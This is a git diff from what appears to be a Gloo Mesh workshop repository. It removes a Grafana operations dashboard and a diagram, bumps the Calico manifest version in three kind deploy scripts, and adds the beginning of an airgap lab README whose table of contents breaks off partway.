"drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 3 - }, - "id": 61, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_insights_execution_time_count[5m]))", - "legendFormat": "Insights", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "rate(solo_io_insights_engine_errors_total[5m])", - "hide": false, - "legendFormat": "Errors", - "range": true, - "refId": "B" - } - ], - "title": "Insights execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 3 - }, - "id": 63, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_analyzer_execution_time_count[5m]))", - "legendFormat": "Analyzer", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 11 - }, - "id": 59, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_execution_time_bucket[5m])) by (le,code))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 11 - }, - "id": 60, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "C" - } - ], - "title": "Insights total execution time percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 19 - }, - "id": 64, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le, analyzer))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 19 - }, - "id": 65, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "D" - } - ], - "title": "Insights Analyzer execution time percentiles", - "type": "timeseries" - } - ], - "title": "Gloo Insights", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 3 - }, - "id": 49, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 0, - "y": 4 - }, - "id": 51, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_accepted_metric_points[5m])) by (receiver)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Accepted rate: {{receiver}}", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_refused_metric_points[5m])) by (receiver)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Refused rate: {{receiver}}", - "range": true, - "refId": "B" - } - ], - "title": "Receivers: Metric Points Rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - }, - { - "matcher": { - "id": "byRegexp", - "options": "/.*Dropped.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "purple", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 8, - "y": 4 - }, - "id": 53, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_count[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size count: {{processor}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_sum[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size sum: {{processor}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_timeout_trigger_send[5m])) by (processor)", - "hide": false, - "interval": "", - "legendFormat": "Batch timeout rate: {{processor}}", - "refId": "C" - } - ], - "title": "Processors: Batch metrics", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 16, - "y": 4 - }, - "id": 55, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_sent_metric_points[5m])) by (exporter)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Sent metric points: {{exporter}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_enqueue_failed_metric_points[5m])) by (exporter)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Enqueue failed metric points rate: {{exporter}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_send_failed_metric_points[5m]))", - "hide": false, - "interval": "", - "legendFormat": "Sent failed rate: {{exporter}}", - "refId": "C" - } - ], - "title": "Exporters: Metric Points Rate", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Telemetry Pipeline", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 4 - }, - "id": 2, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 0, - "y": 57 - }, - "id": 39, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(rate(container_cpu_usage_seconds_total{namespace=\"gloo-mesh\"}[5m])) by (pod)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo vCPU Usage", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 12, - "y": 57 - }, - "id": 41, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(container_memory_working_set_bytes{job=\"kubelet\", metrics_path=\"/metrics/cadvisor\", namespace=\"gloo-mesh\", container!=\"\", image!=\"\"}) by (pod)", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo Memory Usage (w/o cache)", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Resource Usage", - "type": "row" - } - ], - "refresh": "30s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "label": "Gloo Prometheus", - "multi": false, - "name": "GlooPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": { - "selected": false, - "text": "Prometheus", - "value": "Prometheus" - }, - "hide": 0, - "includeAll": false, - "label": "External Prometheus", - "multi": false, - "name": "ExternalPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - } - ] - }, - "time": { - "from": "now-3h", - "to": "now" - }, - "timepicker": {}, - "timezone": "", - "title": "Gloo Platform Operations", - "uid": "9Zx09Zg45", - "version": 10, - "weekStart": "" -} diff --git a/gloo-mesh/enterprise/2-5/gitops/images/steps/gloo-platform-observability/metrics-architecture-otel.svg b/gloo-mesh/enterprise/2-5/gitops/images/steps/gloo-platform-observability/metrics-architecture-otel.svg deleted file mode 100644 index 47b8c2c638..0000000000 --- a/gloo-mesh/enterprise/2-5/gitops/images/steps/gloo-platform-observability/metrics-architecture-otel.svg +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - workload cluster 1Gloo metrics collector agentsEast-west gatewayistiodmanagement clusterGloo management serverPrometheus servergRPC pushmetric scraping every 15sGloo agentGoo metricsgateway123Istio workloadworkload cluster 2Gloo metrics collector agentsEast-west gatewayistiodGloo agent1Istio workloadscrapescrapescrapescrapescrapescrape \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-aws-with-calico.sh b/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-aws-with-calico.sh index d123dd7b8f..1c7a2ec3cf 100755 --- a/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-aws-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-aws-with-calico.sh @@ -184,7 +184,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-multi-with-calico.sh b/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-multi-with-calico.sh index e72e1f9720..dea19640aa 100755 --- a/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-multi-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-multi-with-calico.sh @@ -121,7 +121,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-with-calico.sh b/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-with-calico.sh index 4e1643ee0c..a14138f3c4 100755 --- a/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/gitops/scripts/deploy-with-calico.sh @@ -117,7 +117,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/gateway/2-4/airgap/efault/README.md b/gloo-mesh/gateway/2-4/airgap/efault/README.md new file mode 100644 index 0000000000..af20faad55 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/README.md @@ -0,0 +1,2613 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Gateway (2.4.7)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-4---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 5 - Deploy the Bookinfo demo app](#lab-5---deploy-the-bookinfo-demo-app-) +* [Lab 6 - Deploy the httpbin demo app](#lab-6---deploy-the-httpbin-demo-app-) +* [Lab 7 - Deploy Gloo Mesh Addons](#lab-7---deploy-gloo-mesh-addons-) +* [Lab 8 - Create the gateways workspace](#lab-8---create-the-gateways-workspace-) +* [Lab 9 - Create the bookinfo workspace](#lab-9---create-the-bookinfo-workspace-) +* [Lab 10 - Expose the productpage through a gateway](#lab-10---expose-the-productpage-through-a-gateway-) +* [Lab 11 - Create the httpbin workspace](#lab-11---create-the-httpbin-workspace-) +* [Lab 12 - Expose an external service](#lab-12---expose-an-external-service-) +* [Lab 13 - Deploy Keycloak](#lab-13---deploy-keycloak-) +* [Lab 14 - Securing the access with OAuth](#lab-14---securing-the-access-with-oauth-) +* [Lab 15 - Use the transformation filter to manipulate headers](#lab-15---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 16 - Use the DLP policy to mask sensitive data](#lab-16---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 17 - Apply rate limiting to the 